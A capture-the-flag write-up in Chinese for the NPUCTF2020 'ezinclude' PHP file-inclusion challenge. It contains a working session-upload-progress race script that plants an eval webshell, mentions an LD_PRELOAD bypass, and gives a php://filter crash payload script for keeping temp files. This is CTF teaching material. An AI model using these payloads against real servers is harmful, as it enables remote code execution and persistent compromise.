NPUCTF2020-ezinclude

摘要
session 文件上传+竞争 php7 segment fault特性

显示:

username/password error

image-20210824230329570

返回了哈希值,输入验证后跳转404,抓包

/flflflflag.php:文件包含点

1
2
<body>
include($_GET["file"])</body>

又是 cmdline 可读,environ 不可读……

利用session.upload_progress进行文件包含

学习了一波利用session进行竞争包含:

利用session.upload_progress进行文件包含和反序列化渗透

浅谈PHP_SESSION_UPLOAD_PROGRESS和条件竞争的巧妙利用

感觉很棒……

竞争脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import io
import sys
import requests
import threading

sessid = 'test'
url = 'http://b4539af9-768c-4832-bbbe-2d6d2b0da7a3.node4.buuoj.cn:81/flflflflag.php'


def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
url,
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
files={"file": ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)


def READ(session):
while True:
response = session.post(url + '?file=/tmp/sess_' + sessid)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)


with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session,))
t1.daemon = True
t1.start()
READ(session)

通过包含执行代码,将指定内容写到shell.php

image-20210824232002005

成功输出信息

但在页面命令执行无回显,应该有限制,连接蚁剑,无显示,无权限……

一波LD_PRELOAD

生成.antproxy.php

image-20210824232455565

此时可以命令执行,但找不到flag……

创建页面,看phpinfo:

image-20210824232610872

php7 segment fault特性

扫目录可得dir.php

……扫不出来

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

  • php < 7.2
    php://filter/string.strip_tags/resource=/etc/passwd
  • php7 老版本通杀
    php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

嫖个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from io import BytesIO

mode1 = "php://filter/string.strip_tags/resource=/etc/passwd"
mode2 = "php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
url = "http://93fed8e6-341b-499c-b41b-0f0a6288549b.node4.buuoj.cn:81/flflflflag.php?file="

url = url + mode1
payload = "<?php phpinfo();?>"

files = {
"file": BytesIO(payload.encode())
}

res = requests.post(url=url, files=files, allow_redirects=False)

print(res.text)

dir.php:

image-20210824233725055

image-20210824233924599

获取flag

参考文章:
https://blog.csdn.net/rfrder/article/details/114656092

作者

inanb

发布于

2021-08-24

更新于

2021-08-28

许可协议


:D 一言句子获取中...